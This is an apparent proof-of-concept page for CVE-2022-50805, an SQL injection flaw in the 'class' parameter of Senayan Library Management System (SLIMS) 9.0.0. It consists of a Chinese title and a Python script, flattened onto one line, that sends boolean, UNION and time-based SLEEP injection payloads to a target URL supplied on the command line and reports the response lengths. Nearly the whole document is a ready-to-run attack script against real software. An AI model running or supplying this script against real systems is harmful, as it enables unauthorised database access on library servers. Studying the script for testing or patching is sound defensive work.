CVE-2022-50805 Senayan图书馆管理系统SQL注入漏洞

import requests import sys # CVE-2022-50805 SQL Injection PoC for SLIMS 9.0.0 # Target: Senayan Library Management System # Vulnerability: SQL Injection in 'class' parameter def exploit_sqli(target_url, payload): """Send SQL injection payload to vulnerable endpoint""" params = { 'class': payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/index.php") sys.exit(1) target = sys.argv[1] # Basic test payloads payloads = [ "' OR '1'='1", # Basic boolean-based injection "admin' UNION SELECT NULL--", # UNION-based injection "' AND SLEEP(5)--", # Time-based blind injection ] print(f"[*] Target: {target}") print(f"[*] Testing SQL injection payloads...") for payload in payloads: print(f"\n[*] Testing payload: {payload}") result = exploit_sqli(target, payload) if result: print(f"[+] Response received (length: {len(result)})") if __name__ == "__main__": main()